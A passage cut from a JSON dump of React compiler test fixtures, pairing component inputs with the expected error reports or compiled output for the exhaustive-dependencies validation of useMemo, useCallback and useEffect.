x) {\n    t3 = [x];\n    $[3] = x;\n    $[4] = t3;\n  } else {\n    t3 = $[4];\n  }\n  const memo = t3;\n  let t4;\n  if ($[5] !== x) {\n    t4 = [x];\n    $[5] = x;\n    $[6] = t4;\n  } else {\n    t4 = $[6];\n  }\n  let t5;\n  if ($[7] !== memo || $[8] !== t4) {\n    t5 = <ValidateMemoization inputs={t4} output={memo} />;\n    $[7] = memo;\n    $[8] = t4;\n    $[9] = t5;\n  } else {\n    t5 = $[9];\n  }\n  return t5;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/compile-files-with-exhaustive-deps-violation-in-effects.js",
    "content": "// @validateExhaustiveMemoizationDependencies\n\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component({x}) {\n  useEffect(\n    () => {\n      console.log(x);\n      // eslint-disable-next-line react-hooks/exhaustive-deps\n    },\n    [\n      /* intentionally missing deps */\n    ]\n  );\n\n  const memo = useMemo(() => {\n    return [x];\n  }, [x]);\n\n  return <ValidateMemoization inputs={[x]} output={memo} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.exhaustive-deps-effect-events.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveEffectDependencies:\"all\"\nimport {useEffect, useEffectEvent} from 'react';\n\nfunction Component({x, y, z}) {\n  const effectEvent = useEffectEvent(() => {\n    log(x);\n  });\n\n  const effectEvent2 = useEffectEvent(z => {\n    log(y, z);\n  });\n\n  // error - do not include effect event in deps\n  useEffect(() => {\n    effectEvent();\n  }, [effectEvent]);\n\n  // error - do not include effect event in deps\n  useEffect(() => {\n    effectEvent2(z);\n  }, [effectEvent2, z]);\n\n  // error - do not include effect event captured values in deps\n  useEffect(() => {\n    effectEvent2(z);\n  }, [y, z]);\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Found extra effect dependencies\n\nExtra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.exhaustive-deps-effect-events.ts:16:6\n  14 |   useEffect(() => {\n  15 |     effectEvent();\n> 16 |   }, [effectEvent]);\n     |       ^^^^^^^^^^^ Functions returned from `useEffectEvent` must not be included in the dependency array. Remove `effectEvent` from the dependencies.\n  17 |\n  18 |   // error - do not include effect event in deps\n  19 |   useEffect(() => {\n\nInferred dependencies: `[]`\n\nError: Found extra effect dependencies\n\nExtra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.exhaustive-deps-effect-events.ts:21:6\n  19 |   useEffect(() => {\n  20 |     effectEvent2(z);\n> 21 |   }, [effectEvent2, z]);\n     |       ^^^^^^^^^^^^ Functions returned from `useEffectEvent` must not be included in the dependency array. Remove `effectEvent2` from the dependencies.\n  22 |\n  23 |   // error - do not include effect event captured values in deps\n  24 |   useEffect(() => {\n\nInferred dependencies: `[z]`\n\nError: Found extra effect dependencies\n\nExtra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.exhaustive-deps-effect-events.ts:26:6\n  24 |   useEffect(() => {\n  25 |     effectEvent2(z);\n> 26 |   }, [y, z]);\n     |       ^ Unnecessary dependency `y`\n  27 | }\n  28 |\n\nInferred dependencies: `[z]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.exhaustive-deps-effect-events.js",
    "content": "// @validateExhaustiveEffectDependencies:\"all\"\nimport {useEffect, useEffectEvent} from 'react';\n\nfunction Component({x, y, z}) {\n  const effectEvent = useEffectEvent(() => {\n    log(x);\n  });\n\n  const effectEvent2 = useEffectEvent(z => {\n    log(y, z);\n  });\n\n  // error - do not include effect event in deps\n  useEffect(() => {\n    effectEvent();\n  }, [effectEvent]);\n\n  // error - do not include effect event in deps\n  useEffect(() => {\n    effectEvent2(z);\n  }, [effectEvent2, z]);\n\n  // error - do not include effect event captured values in deps\n  useEffect(() => {\n    effectEvent2(z);\n  }, [y, z]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-dep-on-ref-current-value.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies\n\nfunction Component() {\n  const ref = useRef(null);\n  const onChange = useCallback(() => {\n    return ref.current.value;\n  }, [ref.current.value]);\n\n  return <input ref={ref} onChange={onChange} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Found extra memoization dependencies\n\nExtra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.\n\nerror.invalid-dep-on-ref-current-value.ts:7:6\n   5 |   const onChange = useCallback(() => {\n   6 |     return ref.current.value;\n>  7 |   }, [ref.current.value]);\n     |       ^^^^^^^^^^^^^^^^^ Unnecessary dependency `ref.current.value`\n   8 |\n   9 |   return <input ref={ref} onChange={onChange} />;\n  10 | }\n\nInferred dependencies: `[]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-dep-on-ref-current-value.js",
    "content": "// @validateExhaustiveMemoizationDependencies\n\nfunction Component() {\n  const ref = useRef(null);\n  const onChange = useCallback(() => {\n    return ref.current.value;\n  }, [ref.current.value]);\n\n  return <input ref={ref} onChange={onChange} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps-disallow-unused-stable-types.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies\n\nimport {useState} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const x = useMemo(() => {\n    return [state];\n    // error: `setState` is a stable type, but not actually referenced\n  }, [state, setState]);\n\n  return 'oops';\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Found extra memoization dependencies\n\nExtra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.\n\nerror.invalid-exhaustive-deps-disallow-unused-stable-types.ts:11:13\n   9 |     return [state];\n  10 |     // error: `setState` is a stable type, but not actually referenced\n> 11 |   }, [state, setState]);\n     |              ^^^^^^^^ Unnecessary dependency `setState`\n  12 |\n  13 |   return 'oops';\n  14 | }\n\nInferred dependencies: `[state]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps-disallow-unused-stable-types.js",
    "content": "// @validateExhaustiveMemoizationDependencies\n\nimport {useState} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component() {\n  const [state, setState] = useState(0);\n  const x = useMemo(() => {\n    return [state];\n    // error: `setState` is a stable type, but not actually referenced\n  }, [state, setState]);\n\n  return 'oops';\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({x, y, z}) {\n  const a = useMemo(() => {\n    return x?.y.z?.a;\n    // error: too precise\n  }, [x?.y.z?.a.b]);\n  const b = useMemo(() => {\n    return x.y.z?.a;\n    // ok, not our job to type check nullability\n  }, [x.y.z.a]);\n  const c = useMemo(() => {\n    return x?.y.z.a?.b;\n    // error: too precise\n  }, [x?.y.z.a?.b.z]);\n  const d = useMemo(() => {\n    return x?.y?.[(console.log(y), z?.b)];\n    // ok\n  }, [x?.y, y, z?.b]);\n  const e = useMemo(() => {\n    const e = [];\n    e.push(x);\n    return e;\n    // ok\n  }, [x]);\n  const f = useMemo(() => {\n    return [];\n    // error: unnecessary\n  }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);\n  const ref1 = useRef(null);\n  const ref2 = useRef(null);\n  const ref = z ? ref1 : ref2;\n  const cb = useMemo(() => {\n    return () => {\n      return ref.current;\n    };\n    // error: ref is a stable type but reactive\n  }, []);\n  return <Stringify results={[a, b, c, d, e, f, cb]} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 4 errors:\n\nError: Found missing/extra memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.\n\nerror.invalid-exhaustive-deps.ts:7:11\n   5 | function Component({x, y, z}) {\n   6 |   const a = useMemo(() => {\n>  7 |     return x?.y.z?.a;\n     |            ^^^^^^^^^ Missing dependency `x?.y.z?.a`\n   8 |     // error: too precise\n   9 |   }, [x?.y.z?.a.b]);\n  10 |   const b = useMemo(() => {\n\nerror.invalid-exhaustive-deps.ts:9:6\n   7 |     return x?.y.z?.a;\n   8 |     // error: too precise\n>  9 |   }, [x?.y.z?.a.b]);\n     |       ^^^^^^^^^^^ Overly precise dependency `x?.y.z?.a.b`, use `x?.y.z?.a` instead\n  10 |   const b = useMemo(() => {\n  11 |     return x.y.z?.a;\n  12 |     // ok, not our job to type check nullability\n\nInferred dependencies: `[x?.y.z?.a]`\n\nError: Found missing/extra memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI. Extra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.\n\nerror.invalid-exhaustive-deps.ts:15:11\n  13 |   }, [x.y.z.a]);\n  14 |   const c = useMemo(() => {\n> 15 |     return x?.y.z.a?.b;\n     |            ^^^^^^^^^^^ Missing dependency `x?.y.z.a?.b`\n  16 |     // error: too precise\n  17 |   }, [x?.y.z.a?.b.z]);\n  18 |   const d = useMemo(() => {\n\nerror.invalid-exhaustive-deps.ts:17:6\n  15 |     return x?.y.z.a?.b;\n  16 |     // error: too precise\n> 17 |   }, [x?.y.z.a?.b.z]);\n     |       ^^^^^^^^^^^^^ Overly precise dependency `x?.y.z.a?.b.z`, use `x?.y.z.a?.b` instead\n  18 |   const d = useMemo(() => {\n  19 |     return x?.y?.[(console.log(y), z?.b)];\n  20 |     // ok\n\nInferred dependencies: `[x?.y.z.a?.b]`\n\nError: Found extra memoization dependencies\n\nExtra dependencies can cause a value to update more often than it should, resulting in performance problems such as excessive renders or effects firing too often.\n\nerror.invalid-exhaustive-deps.ts:31:6\n  29 |     return [];\n  30 |     // error: unnecessary\n> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);\n     |       ^ Unnecessary dependency `x`\n  32 |   const ref1 = useRef(null);\n  33 |   const ref2 = useRef(null);\n  34 |   const ref = z ? ref1 : ref2;\n\nerror.invalid-exhaustive-deps.ts:31:9\n  29 |     return [];\n  30 |     // error: unnecessary\n> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);\n     |          ^^^ Unnecessary dependency `y.z`\n  32 |   const ref1 = useRef(null);\n  33 |   const ref2 = useRef(null);\n  34 |   const ref = z ? ref1 : ref2;\n\nerror.invalid-exhaustive-deps.ts:31:14\n  29 |     return [];\n  30 |     // error: unnecessary\n> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);\n     |               ^^^^^^^ Unnecessary dependency `z?.y?.a`\n  32 |   const ref1 = useRef(null);\n  33 |   const ref2 = useRef(null);\n  34 |   const ref = z ? ref1 : ref2;\n\nerror.invalid-exhaustive-deps.ts:31:23\n  29 |     return [];\n  30 |     // error: unnecessary\n> 31 |   }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);\n     |                        ^^^^^^^^^^^^^ Unnecessary dependency `UNUSED_GLOBAL`. Values declared outside of a component/hook should not be listed as dependencies as the component will not re-render if they change\n  32 |   const ref1 = useRef(null);\n  33 |   const ref2 = useRef(null);\n  34 |   const ref = z ? ref1 : ref2;\n\nInferred dependencies: `[]`\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.invalid-exhaustive-deps.ts:37:13\n  35 |   const cb = useMemo(() => {\n  36 |     return () => {\n> 37 |       return ref.current;\n     |              ^^^ Missing dependency `ref`. Refs, setState functions, and other \"stable\" values generally do not need to be added as dependencies, but this variable may change over time to point to different values\n  38 |     };\n  39 |     // error: ref is a stable type but reactive\n  40 |   }, []);\n\nInferred dependencies: `[ref]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-deps.js",
    "content": "// @validateExhaustiveMemoizationDependencies\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component({x, y, z}) {\n  const a = useMemo(() => {\n    return x?.y.z?.a;\n    // error: too precise\n  }, [x?.y.z?.a.b]);\n  const b = useMemo(() => {\n    return x.y.z?.a;\n    // ok, not our job to type check nullability\n  }, [x.y.z.a]);\n  const c = useMemo(() => {\n    return x?.y.z.a?.b;\n    // error: too precise\n  }, [x?.y.z.a?.b.z]);\n  const d = useMemo(() => {\n    return x?.y?.[(console.log(y), z?.b)];\n    // ok\n  }, [x?.y, y, z?.b]);\n  const e = useMemo(() => {\n    const e = [];\n    e.push(x);\n    return e;\n    // ok\n  }, [x]);\n  const f = useMemo(() => {\n    return [];\n    // error: unnecessary\n  }, [x, y.z, z?.y?.a, UNUSED_GLOBAL]);\n  const ref1 = useRef(null);\n  const ref2 = useRef(null);\n  const ref = z ? ref1 : ref2;\n  const cb = useMemo(() => {\n    return () => {\n      return ref.current;\n    };\n    // error: ref is a stable type but reactive\n  }, []);\n  return <Stringify results={[a, b, c, d, e, f, cb]} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-extra-only.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveEffectDependencies:\"extra-only\"\nimport {useEffect} from 'react';\n\nfunction Component({x, y, z}) {\n  // no error: missing dep not reported in extra-only mode\n  useEffect(() => {\n    log(x);\n  }, []);\n\n  // error: extra dep - y\n  useEffect(() => {\n    log(x);\n  }, [x, y]);\n\n  // error: extra dep - y (missing dep - z not reported)\n  useEffect(() => {\n    log(x, z);\n  }, [x, y]);\n\n  // error: extra dep - x.y\n  useEffect(() => {\n    log(x);\n  }, [x.y]);\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Found extra effect dependencies\n\nExtra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.invalid-exhaustive-effect-deps-extra-only.ts:13:9\n  11 |   useEffect(() => {\n  12 |     log(x);\n> 13 |   }, [x, y]);\n     |          ^ Unnecessary dependency `y`\n  14 |\n  15 |   // error: extra dep - y (missing dep - z not reported)\n  16 |   useEffect(() => {\n\nInferred dependencies: `[x]`\n\nError: Found extra effect dependencies\n\nExtra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.invalid-exhaustive-effect-deps-extra-only.ts:18:9\n  16 |   useEffect(() => {\n  17 |     log(x, z);\n> 18 |   }, [x, y]);\n     |          ^ Unnecessary dependency `y`\n  19 |\n  20 |   // error: extra dep - x.y\n  21 |   useEffect(() => {\n\nInferred dependencies: `[x, z]`\n\nError: Found extra effect dependencies\n\nExtra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.invalid-exhaustive-effect-deps-extra-only.ts:23:6\n  21 |   useEffect(() => {\n  22 |     log(x);\n> 23 |   }, [x.y]);\n     |       ^^^ Overly precise dependency `x.y`, use `x` instead\n  24 | }\n  25 |\n\nInferred dependencies: `[x]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-extra-only.js",
    "content": "// @validateExhaustiveEffectDependencies:\"extra-only\"\nimport {useEffect} from 'react';\n\nfunction Component({x, y, z}) {\n  // no error: missing dep not reported in extra-only mode\n  useEffect(() => {\n    log(x);\n  }, []);\n\n  // error: extra dep - y\n  useEffect(() => {\n    log(x);\n  }, [x, y]);\n\n  // error: extra dep - y (missing dep - z not reported)\n  useEffect(() => {\n    log(x, z);\n  }, [x, y]);\n\n  // error: extra dep - x.y\n  useEffect(() => {\n    log(x);\n  }, [x.y]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-missing-only.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveEffectDependencies:\"missing-only\"\nimport {useEffect} from 'react';\n\nfunction Component({x, y, z}) {\n  // error: missing dep - x\n  useEffect(() => {\n    log(x);\n  }, []);\n\n  // no error: extra dep not reported in missing-only mode\n  useEffect(() => {\n    log(x);\n  }, [x, y]);\n\n  // error: missing dep - z (extra dep - y not reported)\n  useEffect(() => {\n    log(x, z);\n  }, [x, y]);\n\n  // error: missing dep x\n  useEffect(() => {\n    log(x);\n  }, [x.y]);\n}\n\n```\n\n\n## Error\n\n```\nFound 3 errors:\n\nError: Found missing effect dependencies\n\nMissing dependencies can cause an effect to fire less often than it should.\n\nerror.invalid-exhaustive-effect-deps-missing-only.ts:7:8\n   5 |   // error: missing dep - x\n   6 |   useEffect(() => {\n>  7 |     log(x);\n     |         ^ Missing dependency `x`\n   8 |   }, []);\n   9 |\n  10 |   // no error: extra dep not reported in missing-only mode\n\nInferred dependencies: `[x]`\n\nError: Found missing effect dependencies\n\nMissing dependencies can cause an effect to fire less often than it should.\n\nerror.invalid-exhaustive-effect-deps-missing-only.ts:17:11\n  15 |   // error: missing dep - z (extra dep - y not reported)\n  16 |   useEffect(() => {\n> 17 |     log(x, z);\n     |            ^ Missing dependency `z`\n  18 |   }, [x, y]);\n  19 |\n  20 |   // error: missing dep x\n\nInferred dependencies: `[x, z]`\n\nError: Found missing effect dependencies\n\nMissing dependencies can cause an effect to fire less often than it should.\n\nerror.invalid-exhaustive-effect-deps-missing-only.ts:22:8\n  20 |   // error: missing dep x\n  21 |   useEffect(() => {\n> 22 |     log(x);\n     |         ^ Missing dependency `x`\n  23 |   }, [x.y]);\n  24 | }\n  25 |\n\nInferred dependencies: `[x]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps-missing-only.js",
    "content": "// @validateExhaustiveEffectDependencies:\"missing-only\"\nimport {useEffect} from 'react';\n\nfunction Component({x, y, z}) {\n  // error: missing dep - x\n  useEffect(() => {\n    log(x);\n  }, []);\n\n  // no error: extra dep not reported in missing-only mode\n  useEffect(() => {\n    log(x);\n  }, [x, y]);\n\n  // error: missing dep - z (extra dep - y not reported)\n  useEffect(() => {\n    log(x, z);\n  }, [x, y]);\n\n  // error: missing dep x\n  useEffect(() => {\n    log(x);\n  }, [x.y]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveEffectDependencies:\"all\"\nimport {useEffect} from 'react';\n\nfunction Component({x, y, z}) {\n  // error: missing dep - x\n  useEffect(() => {\n    log(x);\n  }, []);\n\n  // error: extra dep - y\n  useEffect(() => {\n    log(x);\n  }, [x, y]);\n\n  // error: missing dep - z; extra dep - y\n  useEffect(() => {\n    log(x, z);\n  }, [x, y]);\n\n  // error: missing dep x\n  useEffect(() => {\n    log(x);\n  }, [x.y]);\n}\n\n```\n\n\n## Error\n\n```\nFound 4 errors:\n\nError: Found missing effect dependencies\n\nMissing dependencies can cause an effect to fire less often than it should.\n\nerror.invalid-exhaustive-effect-deps.ts:7:8\n   5 |   // error: missing dep - x\n   6 |   useEffect(() => {\n>  7 |     log(x);\n     |         ^ Missing dependency `x`\n   8 |   }, []);\n   9 |\n  10 |   // error: extra dep - y\n\nInferred dependencies: `[x]`\n\nError: Found extra effect dependencies\n\nExtra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.invalid-exhaustive-effect-deps.ts:13:9\n  11 |   useEffect(() => {\n  12 |     log(x);\n> 13 |   }, [x, y]);\n     |          ^ Unnecessary dependency `y`\n  14 |\n  15 |   // error: missing dep - z; extra dep - y\n  16 |   useEffect(() => {\n\nInferred dependencies: `[x]`\n\nError: Found missing/extra effect dependencies\n\nMissing dependencies can cause an effect to fire less often than it should. Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.invalid-exhaustive-effect-deps.ts:17:11\n  15 |   // error: missing dep - z; extra dep - y\n  16 |   useEffect(() => {\n> 17 |     log(x, z);\n     |            ^ Missing dependency `z`\n  18 |   }, [x, y]);\n  19 |\n  20 |   // error: missing dep x\n\nerror.invalid-exhaustive-effect-deps.ts:18:9\n  16 |   useEffect(() => {\n  17 |     log(x, z);\n> 18 |   }, [x, y]);\n     |          ^ Unnecessary dependency `y`\n  19 |\n  20 |   // error: missing dep x\n  21 |   useEffect(() => {\n\nInferred dependencies: `[x, z]`\n\nError: Found missing/extra effect dependencies\n\nMissing dependencies can cause an effect to fire less often than it should. Extra dependencies can cause an effect to fire more often than it should, resulting in performance problems such as excessive renders and side effects.\n\nerror.invalid-exhaustive-effect-deps.ts:22:8\n  20 |   // error: missing dep x\n  21 |   useEffect(() => {\n> 22 |     log(x);\n     |         ^ Missing dependency `x`\n  23 |   }, [x.y]);\n  24 | }\n  25 |\n\nerror.invalid-exhaustive-effect-deps.ts:23:6\n  21 |   useEffect(() => {\n  22 |     log(x);\n> 23 |   }, [x.y]);\n     |       ^^^ Overly precise dependency `x.y`, use `x` instead\n  24 | }\n  25 |\n\nInferred dependencies: `[x]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-exhaustive-effect-deps.js",
    "content": "// @validateExhaustiveEffectDependencies:\"all\"\nimport {useEffect} from 'react';\n\nfunction Component({x, y, z}) {\n  // error: missing dep - x\n  useEffect(() => {\n    log(x);\n  }, []);\n\n  // error: extra dep - y\n  useEffect(() => {\n    log(x);\n  }, [x, y]);\n\n  // error: missing dep - z; extra dep - y\n  useEffect(() => {\n    log(x, z);\n  }, [x, y]);\n\n  // error: missing dep x\n  useEffect(() => {\n    log(x);\n  }, [x.y]);\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-inner-function.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies\n\nimport {useMemo} from 'react';\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction useHook() {\n  const object = makeObject_Primitives();\n  const fn = useCallback(() => {\n    const g = () => {\n      return [object];\n    };\n    return g;\n  });\n  return fn;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.invalid-missing-nonreactive-dep-inner-function.ts:10:14\n   8 |   const fn = useCallback(() => {\n   9 |     const g = () => {\n> 10 |       return [object];\n     |               ^^^^^^ Missing dependency `object`\n  11 |     };\n  12 |     return g;\n  13 |   });\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-inner-function.js",
    "content": "// @validateExhaustiveMemoizationDependencies\n\nimport {useMemo} from 'react';\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction useHook() {\n  const object = makeObject_Primitives();\n  const fn = useCallback(() => {\n    const g = () => {\n      return [object];\n    };\n    return g;\n  });\n  return fn;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-unmemoized.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies\n\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, useIdentity} from 'shared-runtime';\n\nfunction useHook() {\n  // object is non-reactive but not memoized bc the mutation surrounds a hook\n  const object = makeObject_Primitives();\n  useIdentity();\n  object.x = 0;\n  const array = useMemo(() => [object], []);\n  return array;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.invalid-missing-nonreactive-dep-unmemoized.ts:11:31\n   9 |   useIdentity();\n  10 |   object.x = 0;\n> 11 |   const array = useMemo(() => [object], []);\n     |                                ^^^^^^ Missing dependency `object`\n  12 |   return array;\n  13 | }\n  14 |\n\nInferred dependencies: `[object]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep-unmemoized.js",
    "content": "// @validateExhaustiveMemoizationDependencies\n\nimport {useMemo} from 'react';\nimport {makeObject_Primitives, useIdentity} from 'shared-runtime';\n\nfunction useHook() {\n  // object is non-reactive but not memoized bc the mutation surrounds a hook\n  const object = makeObject_Primitives();\n  useIdentity();\n  object.x = 0;\n  const array = useMemo(() => [object], []);\n  return array;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies\n\nimport {useMemo} from 'react';\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction useHook() {\n  const object = makeObject_Primitives();\n  const array = useMemo(() => [object], []);\n  return array;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.invalid-missing-nonreactive-dep.ts:8:31\n   6 | function useHook() {\n   7 |   const object = makeObject_Primitives();\n>  8 |   const array = useMemo(() => [object], []);\n     |                                ^^^^^^ Missing dependency `object`\n   9 |   return array;\n  10 | }\n  11 |\n\nInferred dependencies: `[object]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.invalid-missing-nonreactive-dep.js",
    "content": "// @validateExhaustiveMemoizationDependencies\n\nimport {useMemo} from 'react';\nimport {makeObject_Primitives} from 'shared-runtime';\n\nfunction useHook() {\n  const object = makeObject_Primitives();\n  const array = useMemo(() => [object], []);\n  return array;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.sketchy-code-exhaustive-deps.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {arrayPush} from 'shared-runtime';\n\n// @validateExhaustiveMemoizationDependencies\nfunction Component() {\n  const item = [];\n  const foo = useCallback(\n    () => {\n      arrayPush(item, 1);\n    }, // eslint-disable-next-line react-hooks/exhaustive-deps\n    []\n  );\n\n  return <Button foo={foo} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Found missing memoization dependencies\n\nMissing dependencies can cause a value to update less often than it should, resulting in stale UI.\n\nerror.sketchy-code-exhaustive-deps.ts:8:16\n   6 |   const foo = useCallback(\n   7 |     () => {\n>  8 |       arrayPush(item, 1);\n     |                 ^^^^ Missing dependency `item`\n   9 |     }, // eslint-disable-next-line react-hooks/exhaustive-deps\n  10 |     []\n  11 |   );\n\nInferred dependencies: `[item]`\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/error.sketchy-code-exhaustive-deps.js",
    "content": "import {arrayPush} from 'shared-runtime';\n\n// @validateExhaustiveMemoizationDependencies\nfunction Component() {\n  const item = [];\n  const foo = useCallback(\n    () => {\n      arrayPush(item, 1);\n    }, // eslint-disable-next-line react-hooks/exhaustive-deps\n    []\n  );\n\n  return <Button foo={foo} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-constant-folded-values.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies\n\nfunction Component() {\n  const x = 0;\n  const y = useMemo(() => {\n    return [x];\n    // x gets constant-folded but shouldn't count as extraneous,\n    // it was referenced in the memo block\n  }, [x]);\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies\n\nfunction Component() {\n  const $ = _c(1);\n  const x = 0;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [0];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const y = t0;\n\n  return y;\n}\n\n```\n      \n### Eval output\n(kind: exception) Fixture not implemented"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/exhaustive-deps/exhaustive-deps-allow-constant-folded-values.js",
